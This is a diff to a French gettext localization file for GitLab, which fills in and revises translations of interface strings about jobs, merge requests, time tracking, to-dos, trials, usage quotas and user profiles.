msgid "This job is waiting for resource: "
msgstr "Cette tâche est en attente de ressource : "
@@ -42346,9 +43050,6 @@ msgstr "Cette tâche est en attente de ressource : "
msgid "This job requires a manual action"
msgstr "Cette tâche nécessite une action manuelle"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr "Cette tâche nécessite une intervention manuelle pour démarrer. Avant de la lancer, vous pouvez ajouter des variables ci-dessous pour faire des modifications de configuration de dernière minute."
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42359,13 +43060,13 @@ msgid "This link points to external content"
msgstr "Ce lien pointe vers un contenu externe"
msgid "This may expose confidential information as the selected fork is in another namespace that can have other members."
-msgstr ""
+msgstr "Cela peut exposer des informations confidentielles car le fork sélectionné est dans un autre espace de noms pouvant avoir d'autres membres."
msgid "This means you can not push code until you create an empty repository or import existing one."
msgstr "Cela signifie que vous ne pouvez pas pousser du code tant que vous n’avez pas créé un dépôt vide ou que vous n’avez pas importé un dépôt existant."
msgid "This merge request branch is protected from force push."
-msgstr ""
+msgstr "La branche de cette demande de fusion est protégée contre les poussées forcées."
msgid "This merge request cannot be rebased while there are conflicts."
msgstr "Cette demande de fusion ne peut pas être rebasée tant qu'il existe des conflits."
@@ -42374,7 +43075,7 @@ msgid "This merge request does not have accessibility reports"
msgstr "Cette demande de fusion ne dispose d'aucun rapport d'accessibilité"
msgid "This merge request does not have codequality reports"
-msgstr ""
+msgstr "Cette demande de fusion ne contient aucun rapport de qualité de code"
msgid "This merge request is closed. To apply this suggestion, edit this file directly."
msgstr "Cette demande de fusion est fermée. Pour appliquer cette suggestion, modifiez ce fichier directement."
@@ -42443,7 +43144,7 @@ msgid "This project has no active access tokens."
msgstr "Ce projet n'a pas de jeton d'accès actif."
msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
-msgstr ""
+msgstr "Ce projet n'est %{strongStart}PAS%{strongEnd} un fork, et a les éléments suivants :"
msgid "This project is %{strongStart}NOT%{strongEnd} a fork. This process deletes the project repository and all related resources."
msgstr "Ce projet %{strongStart}N'EST PAS%{strongEnd} une divergence. Ce processus supprime le dépôt du projet et toutes ses ressources associées."
@@ -42553,8 +43254,8 @@ msgstr "Cet utilisateur est l'auteur de ce(tte) %{noteable}."
msgid "This variable can not be masked."
msgstr "Cette variable ne peut pas être masquée."
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
-msgstr "Ce type de vulnérabilité a été déprécié du jeu de règles par défaut de GitLab et résolu automatiquement."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
+msgstr "Cette vulnérabilité a été automatiquement résolue car son type de vulnérabilité a été désactivé dans ce projet ou supprimé du jeu de règles par défaut de GitLab."
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
msgstr "Cela va invalider vos applications enregistrées et vos appareils U2F/WebAuthn."
@@ -42566,7 +43267,7 @@ msgid "This will remove the fork relationship between this project and %{fork_so
msgstr "Cela supprimera la relation de fork entre ce projet et %{fork_source}."
msgid "This will remove the fork relationship between this project and other projects in the fork network."
-msgstr ""
+msgstr "Cela supprimera la relation de fork entre ce projet et les autres projets du réseau de forks."
msgid "Thread options"
msgstr "Options du fil de discussion"
@@ -42584,7 +43285,7 @@ msgid "Threshold number of changes (branches or tags) in a single push above whi
msgstr "Seuil du nombre de modifications (branches ou étiquettes) au sein d'une poussée unique pour lequel un événement de poussée en masse est créé (3 par défaut)."
msgid "Throughput"
-msgstr ""
+msgstr "Débit"
msgid "Thu"
msgstr "Jeu"
@@ -42614,16 +43315,16 @@ msgid "Time estimate"
msgstr "Estimation du temps"
msgid "Time from first comment to last commit"
-msgstr ""
+msgstr "Temps entre le premier commentaire et la dernière validation"
msgid "Time from first commit until first comment"
-msgstr ""
+msgstr "Temps entre la première validation et le premier commentaire"
msgid "Time from last commit to merge"
-msgstr ""
+msgstr "Temps entre la dernière validation et la fusion"
msgid "Time of import: %{importTime}"
-msgstr ""
+msgstr "Heure d'importation : %{importTime}"
msgid "Time remaining"
msgstr "Temps restant"
@@ -42641,7 +43342,7 @@ msgid "Time to Restore Service"
msgstr "Délai de restauration de service"
msgid "Time to merge"
-msgstr ""
+msgstr "Temps jusqu'à la fusion"
msgid "Time to subtract exceeds the total time spent"
msgstr "La durée à soustraire excède le temps passé total"
@@ -42650,7 +43351,7 @@ msgid "Time tracking"
msgstr "Suivi du temps"
msgid "Time tracking report"
-msgstr ""
+msgstr "Rapport de suivi du temps"
msgid "Time until first merge request"
msgstr "Temps jusqu’à la première demande de fusion"
@@ -42674,7 +43375,7 @@ msgid "TimeTracking|Estimated:"
msgstr "Estimé :"
msgid "TimeTracking|Over by %{timeRemainingHumanReadable}"
-msgstr ""
+msgstr "Dépassé de %{timeRemainingHumanReadable}"
msgid "TimeTracking|Spent"
msgstr "Passé"
@@ -42960,10 +43661,10 @@ msgid "To enable Registration Features, first enable Service Ping."
msgstr "Pour activer les Fonctionnalités d'Inscription, activez d'abord le Ping de Service."
msgid "To ensure %{project_link} is unscheduled for deletion, check that activity has been logged by GitLab. For example:"
-msgstr ""
+msgstr "Pour s'assurer que %{project_link} n'est pas planifié pour suppression, vérifiez que l'activité a été enregistrée par GitLab. Par exemple :"
msgid "To ensure %{project_name} is unscheduled for deletion, check that activity has been logged by GitLab. For example:"
-msgstr ""
+msgstr "Pour s'assurer que %{project_name} n'est pas planifié pour suppression, vérifiez que l'activité a été enregistrée par GitLab. Par exemple :"
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr "Pour éviter toute perte de contenu personnel, ce compte ne doit être utilisé qu'en rapport avec %{group_name}."
@@ -42990,11 +43691,16 @@ msgid "To get started, use the link below to confirm your account."
msgstr "Pour commencer, utilisez le lien ci-dessous pour confirmer votre compte."
msgid "To help improve GitLab, we would like to periodically %{docs_link}. This can be changed at any time in %{settings_link}."
-msgstr ""
+msgstr "Pour contribuer à améliorer GitLab, nous souhaiterions périodiquement %{docs_link}. Cela peut être modifié à tout moment dans %{settings_link}."
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "Pour importer un dépôt SVN, consultez %{svn_link}."
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] "Pour inviter plus d'utilisateurs, vous pouvez réduire leur nombre dans votre espace de noms à %{free_limit} utilisateur ou moins. Vous pouvez également passer à une édition payante, sans limite d'utilisateurs. Si vous avez besoin d'un temps de réflexion, vous pouvez commencer un essai gratuit de 30 jours qui comprend un nombre illimité d'utilisateurs."
+msgstr[1] "Pour inviter plus d'utilisateurs, vous pouvez réduire leur nombre dans votre espace de noms à %{free_limit} utilisateurs ou moins. Vous pouvez également passer à une édition payante, sans limite d'utilisateurs. Si vous avez besoin d'un temps de réflexion, vous pouvez commencer un essai gratuit de 30 jours qui comprend un nombre illimité d'utilisateurs."
+
msgid "To keep this project going, create a new issue"
msgstr "Pour maintenir ce projet actif, créez un nouveau ticket"
@@ -43029,7 +43735,7 @@ msgid "To protect this issue's confidentiality, %{linkStart}fork this project%{l
msgstr "Pour protéger la confidentialité de ce ticket, %{linkStart}créez un projet divergent%{linkEnd} et définissez sa visibilité sur privée."
msgid "To protect this issue's confidentiality, a private fork of this project was selected."
-msgstr ""
+msgstr "Pour protéger la confidentialité de ce ticket, un fork privé de ce projet a été sélectionné."
msgid "To reactivate your account, %{gitlab_link_start}sign in to GitLab.%{link_end}"
msgstr "Pour réactiver votre compte, %{gitlab_link_start}connectez-vous à GitLab.%{link_end}"
@@ -43038,7 +43744,7 @@ msgid "To reactivate your account, sign in to GitLab at %{gitlab_url}."
msgstr "Pour réactiver votre compte, connectez-vous à GitLab sur %{gitlab_url}."
msgid "To remove the %{link_start}read-only%{link_end} state and regain write access, ask your namespace owner to reduce the number of users in your namespace to %{free_limit} users or less, or to upgrade to a paid tier which do not have user limits."
-msgstr ""
+msgstr "Pour supprimer l'état de %{link_start}lecture seule%{link_end} et retrouver l'accès en écriture, demandez au propriétaire de votre espace de noms de réduire le nombre d'utilisateurs dans votre espace de noms à %{free_limit} utilisateurs ou moins, ou de passer à une édition payante qui n'a pas de limite d'utilisateurs."
msgid "To remove the %{link_start}read-only%{link_end} state and regain write access, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier, which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
msgstr "Pour supprimer l'état de %{link_start}lecture seule%{link_end} et retrouver l'accès en écriture, vous pouvez réduire le nombre d'utilisateurs dans votre espace de noms à %{free_limit} utilisateurs ou moins. Vous pouvez également passer à une édition payante, sans limite d'utilisateurs. Si vous avez besoin d'un temps de réflexion, vous pouvez commencer un essai gratuit de 30 jours qui comprend un nombre illimité d'utilisateurs."
@@ -43107,7 +43813,7 @@ msgid "Today"
msgstr "Aujourd’hui"
msgid "Todos count"
-msgstr ""
+msgstr "Nombre de pense-bêtes"
msgid "Todos|Added"
msgstr "A ajouté"
@@ -43134,7 +43840,7 @@ msgid "Todos|Design"
msgstr "Design"
msgid "Todos|Due %{due_date}"
-msgstr ""
+msgstr "Échéance %{due_date}"
msgid "Todos|Epic"
msgstr "Épopée"
@@ -43170,7 +43876,7 @@ msgid "Todos|Mark all as done"
msgstr "Tout marquer comme terminé"
msgid "Todos|Member access requested"
-msgstr ""
+msgstr "Accès membre demandé"
msgid "Todos|Mentioned"
msgstr "A mentionné"
@@ -43188,7 +43894,7 @@ msgid "Todos|Pipelines"
msgstr "Pipelines"
msgid "Todos|Removed from Merge Train"
-msgstr ""
+msgstr "Supprimé du Train de Fusion"
msgid "Todos|Review requested"
msgstr "Revue demandée"
@@ -43211,17 +43917,17 @@ msgstr "Vos pense-bêtes vous montrent sur quoi travailler ensuite"
msgid "Todos|added a to-do item"
msgstr "a ajouté un pense-bête"
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
msgstr "a mentionné %{who}"
msgid "Todos|requested a review"
-msgstr ""
+msgstr "a demandé une revue"
msgid "Todos|set %{who} as an approver"
-msgstr ""
+msgstr "a défini %{who} comme approbateur"
msgid "Todos|yourself"
msgstr "vous-même"
@@ -43275,10 +43981,10 @@ msgid "Toggle the Performance Bar"
msgstr "Afficher/masquer la Barre de Performance"
msgid "Toggled :%{name}: emoji award."
-msgstr ""
+msgstr "Émoji de récompense :%{name}: activée/désactivée."
msgid "Toggles :%{name}: emoji award."
-msgstr ""
+msgstr "Active/désactive l'émoji de récompense :%{name}:."
msgid "Token"
msgstr "Jeton"
@@ -43508,24 +44214,12 @@ msgstr "Créez un nouveau groupe pour commencer votre essai GitLab Ultimate."
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr "Jour %{daysUsed}/%{duration}"
-msgid "Trials|Go back to GitLab"
-msgstr "Retour à GitLab"
-
-msgid "Trials|Skip Trial"
-msgstr "Ignorer l'Essai"
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr "Mettre à niveau %{groupName} vers %{planName}"
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "Vous pouvez toujours reprendre ce processus en sélectionnant votre avatar et en choisissant « Démarrer un essai Ultimate »"
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr "Vous pouvez appliquer votre essai à un nouveau groupe ou à un groupe existant."
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "Vous n'obtiendrez pas d'essai gratuit maintenant mais vous pourrez toujours reprendre ce processus en sélectionnant votre avatar et en choisissant « Démarrer un essai Ultimate »"
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] "Il vous reste %{daysRemaining} jour sur GitLab %{planName} !"
@@ -43541,7 +44235,7 @@ msgid "Trial|Continue"
msgstr "Continuez"
msgid "Trial|Dismiss"
-msgstr ""
+msgstr "Rejeter"
msgid "Trial|Your GitLab Ultimate trial lasts for 30 days, but you can keep your free GitLab account forever. We just need some additional information to activate your trial."
msgstr "Votre essai de Gitlab Ultimate a une durée de 30 jours mais vous pouvez conserver votre compte gratuit Gitlab sans limite de temps. Nous avons seulement besoin de quelques informations supplémentaires pour activer votre période d'essai."
@@ -43559,7 +44253,7 @@ msgid "Trigger cluster reindexing. Only use this with an index that was created
msgstr "Déclencher une réindexation de la grappe de serveurs. N'utilisez cela qu'avec un index créé avec GitLab 13.0 ou supérieur."
msgid "Trigger job"
-msgstr ""
+msgstr "Tâche de déclenchement"
msgid "Trigger manual job"
msgstr "Déclencher une tâche manuelle"
@@ -43583,7 +44277,7 @@ msgid "Trigger token:"
msgstr "Jeton de déclenchement :"
msgid "Trigger variables:"
-msgstr ""
+msgstr "Variables du déclencheur :"
msgid "Trigger was created successfully."
msgstr "Le déclencheur a été créé avec succès."
@@ -43628,17 +44322,14 @@ msgid "Try changing or removing filters."
msgstr "Essayez de modifier ou de supprimer des filtres."
msgid "Try grouping with different labels"
-msgstr ""
+msgstr "Essayez de regrouper avec des étiquettes différentes"
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
-msgstr "Essayez de vous connecter en utilisant votre nom d'utilisateur ou votre adresse de messagerie. Si vous avez oublié votre mot de passe, tentez de le récupérer"
+msgid "Try it out now"
+msgstr "Essayez-le maintenant"
msgid "Try out GitLab Pipelines"
msgstr "Essayez les Pipelines GitLab"
-msgid "Try out the new Web IDE"
-msgstr "Essayez le nouvel EDI Web"
-
msgid "Try the troubleshooting steps here."
msgstr "Essayez les étapes de dépannage ici."
@@ -43810,6 +44501,9 @@ msgstr "Impossible de se connecter à l'instance Jira. Veuillez vérifier votre
msgid "Unable to create link to vulnerability"
msgstr "Impossible de créer le lien vers la vulnérabilité"
+msgid "Unable to create pipeline"
+msgstr "Impossible de créer le pipeline"
+
msgid "Unable to fetch branch list for this project."
msgstr "Impossible de récupérer la liste des branches de ce projet."
@@ -43852,6 +44546,9 @@ msgstr "Impossible de charger le diff. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "Impossible de charger le widget de demande de fusion. Essayez de recharger la page."
+msgid "Unable to load the page"
+msgstr "Impossible de charger la page"
+
msgid "Unable to parse JSON"
msgstr "Impossible d’analyser le JSON"
@@ -43868,7 +44565,7 @@ msgid "Unable to save your preference"
msgstr "Impossible d'enregistrer vos préférences."
msgid "Unable to schedule a pipeline to run immediately"
-msgstr ""
+msgstr "Impossible de planifier un pipeline pour qu'il s'exécute immédiatement"
msgid "Unable to sign you in to the group with SAML due to \"%{reason}\""
msgstr "Impossible de vous connecter au groupe via SAML en raison de « %{reason} »"
@@ -43877,7 +44574,7 @@ msgid "Unable to suggest a path. Please refresh and try again."
msgstr "Impossible de suggérer un chemin. Veuillez actualiser et réessayer."
msgid "Unable to update label prioritization at this time"
-msgstr ""
+msgstr "Impossible de mettre à jour la hiérarchisation des étiquettes pour le moment"
msgid "Unable to update this epic at this time."
msgstr "Impossible de mettre à jour cette épopée pour le moment."
@@ -43928,10 +44625,10 @@ msgid "Undo"
msgstr "Annuler"
msgid "Undo Ignore"
-msgstr ""
+msgstr "Annuler Ignorer"
msgid "Undo ignore"
-msgstr ""
+msgstr "Annuler ignorer"
msgid "Unexpected error"
msgstr "Erreur inattendue"
@@ -43940,7 +44637,7 @@ msgid "Unfollow"
msgstr "Ne plus suivre"
msgid "Unfortunately, your email message to GitLab could not be processed."
-msgstr ""
+msgstr "Malheureusement, le message de votre courriel à GitLab n'a pas pu être traité."
msgid "Unhappy?"
msgstr "Non satisfait ?"
@@ -43997,13 +44694,13 @@ msgid "Unlock the discussion"
msgstr "Déverrouiller la discussion"
msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
-msgstr "Déverrouiller ce %{issuableDisplayName} ? %{strongStart}Tout le monde%{strongEnd} sera en mesure de mettre un commentaire."
+msgstr "Déverrouiller ce(tte) %{issuableDisplayName} ? %{strongStart}Tout le monde%{strongEnd} sera en mesure de mettre un commentaire."
msgid "Unlocked"
msgstr "Déverrouillé"
msgid "Unlocked the discussion."
-msgstr ""
+msgstr "La discussion a été déverrouillée."
msgid "Unlocks the discussion."
msgstr "Déverrouille la discussion."
@@ -44021,10 +44718,10 @@ msgid "Unresolve"
msgstr ""
msgid "Unresolve thread"
-msgstr ""
+msgstr "Reprendre le fil de conversation"
msgid "Unresolved"
-msgstr ""
+msgstr "Non résolue"
msgid "Unschedule job"
msgstr "Déprogrammer la tâche"
@@ -44032,6 +44729,9 @@ msgstr "Déprogrammer la tâche"
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr "Désélectionnez « Développer la référence de la variable » si vous voulez utiliser la valeur de la variable comme une chaîne brute."
+msgid "Unselect all"
+msgstr "Tout déselectionner"
+
msgid "Unstar"
msgstr "Supprimer des favoris"
@@ -44051,10 +44751,10 @@ msgid "Unsubscribe from %{type}"
msgstr "Se désabonner de %{type}"
msgid "Unsubscribed from this %{quick_action_target}."
-msgstr ""
+msgstr "Désabonné de ce(tte) %{quick_action_target}."
msgid "Unsubscribes from this %{quick_action_target}."
-msgstr ""
+msgstr "Se désabonne de ce(tte) %{quick_action_target}."
msgid "Unsupported sort value."
msgstr "Valeur de tri non prise en charge."
@@ -44063,7 +44763,7 @@ msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr "Type de pense-bête non pris en charge. Les types de pense-bêtes pris en charge sont : %{todo_types}"
msgid "Unused"
-msgstr ""
+msgstr "Inutilisé"
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr "Inutilisés, les index précédents : %{index_names} seront supprimés automatiquement après %{time}."
@@ -44071,6 +44771,9 @@ msgstr "Inutilisés, les index précédents : %{index_names} seront supprimés a
msgid "Unverified"
msgstr "Non vérifié"
+msgid "Unverified signature"
+msgstr "Signature non vérifiée"
+
msgid "Up to date"
msgstr "À jour"
@@ -44140,6 +44843,9 @@ msgstr "Impossible de renommer le projet car il contient des étiquettes dans le
msgid "UpdateProject|Could not set the default branch"
msgstr "Impossible de définir la branche par défaut"
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr "Impossible de définir la branche par défaut. Avez-vous une branche nommée « HEAD » dans votre dépôt ? (%{linkStart}Comment puis-je corriger cela ?%{linkEnd})"
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr "Nouveau niveau de visibilité non autorisé !"
@@ -44150,7 +44856,7 @@ msgid "UpdateRepositoryStorage|Failed to verify %{type} repository checksum from
msgstr "Échec de la vérification de la somme de contrôle du dépôt %{type} entre %{old} et %{new}"
msgid "UpdateRepositoryStorage|Timeout waiting for %{type} repository pushes"
-msgstr ""
+msgstr "Délai d'attente expiré lors de l'attente des poussées du dépôt %{type}"
msgid "Updated"
msgstr "Mis à jour"
@@ -44219,7 +44925,7 @@ msgid "Uploads"
msgstr "Téléversements"
msgid "Upstream"
-msgstr ""
+msgstr "En amont"
msgid "Upvotes"
msgstr "Votes positifs"
@@ -44249,7 +44955,7 @@ msgid "UsageQuota|Artifacts"
msgstr "Artéfacts"
msgid "UsageQuota|Artifacts is a sum of build and pipeline artifacts."
-msgstr ""
+msgstr "Les artéfacts sont la somme des artéfacts de construction et de pipeline."
msgid "UsageQuota|Audio samples, videos, datasets, and graphics."
msgstr "Échantillons sonores, vidéos, jeux de données et graphismes."
@@ -44282,7 +44988,7 @@ msgid "UsageQuota|Dependency proxy"
msgstr "Proxy de dépendance"
msgid "UsageQuota|File attachments and smaller design graphics."
-msgstr "Pièces-jointes et graphismes de design plus petits."
+msgstr "Pièces-jointes et graphismes d'esquisses plus petits."
msgid "UsageQuota|For more information about storage limits, see our %{faq_link_start}FAQ%{link_end}."
msgstr "Pour plus d'informations sur les limites de stockage, consultez notre %{faq_link_start}FAQ%{link_end}."
@@ -44302,15 +45008,9 @@ msgstr "Paramètres de groupe &gt; Quotas d'utilisation"
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr "Comprend les artéfacts, les dépôts, le wiki, les téléversements et d'autres éléments."
-msgid "UsageQuota|Increase storage temporarily"
-msgstr "Augmenter temporairement le stockage"
-
msgid "UsageQuota|LFS storage"
msgstr "Stockage LFS"
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr "En savoir plus sur l'utilisation de stockage excédentaire"
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr "En savoir plus sur les quotas d'utilisation"
@@ -44341,15 +45041,9 @@ msgstr "Artéfacts de pipeline et de tâches créés par CI/CD."
msgid "UsageQuota|Pipelines"
msgstr "Pipelines"
-msgid "UsageQuota|Purchase more storage"
-msgstr "Acheter plus de stockage"
-
msgid "UsageQuota|Purchased storage"
msgstr "Stockage acheté"
-msgid "UsageQuota|Purchased storage available"
-msgstr "Stockage acheté disponible"
-
msgid "UsageQuota|Purchased storage used"
msgstr "Stockage acheté utilisé"
@@ -44407,24 +45101,12 @@ msgstr "L'espace de noms utilise actuellement %{strong_start}%{used_storage}%{st
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr "Le tableau ci-dessous montre l'utilisation depuis %{usageSince}"
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr "Il s'agit de la quantité totale de stockage utilisée par tous vos projets dans cet espace de noms."
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr "Il s'agit de la quantité totale de stockage utilisée par les projets au-dessus de la limite de stockage gratuit de %{actualRepositorySizeLimit}."
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr "Aucun projet de cet espace de noms n'a utilisé d'exécuteurs partagés sur la période actuelle"
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr "Ce tableau omet les projets qui ont utilisé 0 minute CI/CD ou 0 durée des exécuteurs partagés"
-msgid "UsageQuota|Total excess storage used"
-msgstr "Quantité totale de stockage excédentaire utilisée"
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr "Quantité totale de stockage utilisé pour l'espace de noms"
-
msgid "UsageQuota|Uploads"
msgstr "Téléversements"
@@ -44444,7 +45126,7 @@ msgid "UsageQuota|Usage by project"
msgstr "Utilisation par projet"
msgid "UsageQuota|Usage of group resources across the projects in the %{strong_start}%{group_name}%{strong_end} group"
-msgstr ""
+msgstr "Utilisation des ressources du groupe à travers tous les projets du groupe %{strong_start}%{group_name}%{strong_end}"
msgid "UsageQuota|Usage of project resources across the %{strong_start}%{project_name}%{strong_end} project"
msgstr "Utilisation des ressources du projet à travers le projet %{strong_start}%{project_name}%{strong_end}"
@@ -44452,14 +45134,11 @@ msgstr "Utilisation des ressources du projet à travers le projet %{strong_start
msgid "UsageQuota|Usage of resources across your projects"
msgstr "Utilisation des ressources par tous vos projets"
-msgid "UsageQuota|Usage quotas help link"
-msgstr "Lien d'aide sur les quotas d'utilisation"
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr "Paramètres utilisateur &gt; Quotas d'utilisation"
msgid "UsageQuota|When you purchase additional storage, we automatically unlock projects that were locked if the storage limit was reached."
-msgstr ""
+msgstr "Lorsque vous achetez du stockage supplémentaire, nous déverrouillons automatiquement les projets qui ont été verrouillés au moment où la limite de stockage a été atteinte."
msgid "UsageQuota|Wiki"
msgstr "Wiki"
@@ -44471,17 +45150,11 @@ msgid "UsageQuota|You have consumed all of your additional storage. Purchase mor
msgstr "Vous avez utilisé la totalité de votre stockage supplémentaire. Achetez-en davantage pour déverrouiller les projets dépassant la limite."
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
-msgstr ""
-
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr "Vous avez utilisé : %{usage} %{limit}"
+msgstr "Vous avez atteint la limite de stockage gratuit sur %{projectsLockedText}. Pour les déverrouiller, achetez de l'espace de stockage supplémentaire."
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr "Le stockage que vous avez acheté est presque épuisé. Pour éviter le verrouillage des projets, achetez-en davantage."
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr "sur %{formattedLimit} du stockage de votre espace de noms"
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr "Impossible de charger le graphique des tickets et des demandes de fusion. Veuillez actualiser la page pour réessayer."
@@ -44573,7 +45246,7 @@ msgid "UsageTrends|Users"
msgstr "Utilisateurs"
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
-msgstr ""
+msgstr "Utilisez %{code_start}::%{code_end} pour créer un %{link_start}ensemble d'étiquettes à portée limitée%{link_end} (par ex. %{code_start}priorité::1%{code_end})"
msgid "Use .gitlab-ci.yml"
msgstr "Utiliser .gitlab-ci.yml"
@@ -44638,6 +45311,9 @@ msgstr "Utiliser ce modèle"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr "Utiliser l'option %{strongStart}Test%{strongEnd} ci-dessus pour créer un événement."
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr "Utilisez l'intégration de Apple App Store Connect pour vous connecter facilement à l'App Store d'Apple avec Fastlane dans des pipelines CI/CD."
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr "Utilisez le lien ci-dessous pour confirmer votre adresse de courriel (%{email})"
@@ -44666,7 +45342,7 @@ msgid "Use your smart card to authenticate with the LDAP server."
msgstr "Utilisez votre carte à puce pour vous authentifier auprès du serveur LDAP."
msgid "Used"
-msgstr ""
+msgstr "Utilisé"
msgid "Used by %d package"
msgid_plural "Used by %d packages"
@@ -44694,6 +45370,12 @@ msgstr "L'utilisateur %{current_user_username} a commencé à emprunter l'identi
msgid "User %{username} was successfully removed."
msgstr "L'utilisateur %{username} a été supprimé avec succès."
+msgid "User %{user} SCIM identity is deactivated"
+msgstr "L'identité SCIM de l'utilisateur %{user} est désactivée"
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr "L'identité SCIM de l'utilisateur %{user} est réactivée"
+
msgid "User %{user} was removed from %{group}."
msgstr "L'utilisateur %{user} a été supprimé de %{group}."
@@ -44710,13 +45392,13 @@ msgid "User and IP rate limits"
msgstr "Limitations de fréquence des IP et Utilisateurs"
msgid "User cap"
-msgstr ""
+msgstr "Plafond d'utilisateurs"
msgid "User cap cannot be enabled. The group or one of its subgroups or projects is shared externally."
-msgstr ""
+msgstr "Le plafond d'utilisateurs ne peut pas être activé. Le groupe ou l'un de ses sous-groupes ou projets est partagé en externe."
msgid "User created at"
-msgstr ""
+msgstr "Utilisateur créé le"
msgid "User does not have a pending request"
msgstr "L'utilisateur n'a pas de requête en attente"
@@ -44752,7 +45434,7 @@ msgid "User pipeline minutes were successfully reset."
msgstr "Les minutes de pipeline de l'utilisateur ont été réinitialisées avec succès."
msgid "User restrictions"
-msgstr ""
+msgstr "Restrictions utilisateur"
msgid "User settings"
msgstr "Paramètres utilisateur"
@@ -44868,11 +45550,8 @@ msgstr "(Occupé)"
msgid "UserProfile|Activity"
msgstr "Activité"
-msgid "UserProfile|Already reported for abuse"
-msgstr "Déjà signalé comme abus"
-
msgid "UserProfile|Blocked user"
-msgstr ""
+msgstr "Utilisateur bloqué"
msgid "UserProfile|Bot activity"
msgstr "Activité du bot"
@@ -44917,7 +45596,7 @@ msgid "UserProfile|Personal projects"
msgstr "Projets personnels"
msgid "UserProfile|Pronounced as: %{pronunciation}"
-msgstr ""
+msgstr "Prononcé comme : %{pronunciation}"
msgid "UserProfile|Retry"
msgstr "Réessayer"
@@ -44932,17 +45611,17 @@ msgid "UserProfile|Star projects to track their progress and show your appreciat
msgstr "Mettez une étoile sur des projets pour suivre leur progression et montrer que vous les appréciez."
msgid "UserProfile|Starred projects"
-msgstr "Projets étoilés"
+msgstr "Projets favoris"
msgid "UserProfile|Subscribe"
msgstr "S’abonner"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr "Il n’y a aucun projet disponible à afficher ici."
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "Cet utilisateur n'a aucun suiveur."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "Cet utilisateur ne dispose pas de projets personnels"
-
msgid "UserProfile|This user has a private profile"
msgstr "Cet utilisateur a un profil privé"
@@ -44950,7 +45629,7 @@ msgid "UserProfile|This user hasn't contributed to any projects"
msgstr "Cet utilisateur n’a contribué à aucun projet"
msgid "UserProfile|This user hasn't starred any projects"
-msgstr "Cet utilisateur n'a mis d'étoile à aucun projet"
+msgstr "Cet utilisateur n'a mis aucun projet en favoris"
msgid "UserProfile|This user is blocked"
msgstr "Cet utilisateur est bloqué"
@@ -45019,7 +45698,7 @@ msgid "Users"
msgstr "Utilisateurs"
msgid "Users API rate limit"
-msgstr ""
+msgstr "Limitation de la fréquence de l'API des utilisateurs"
msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
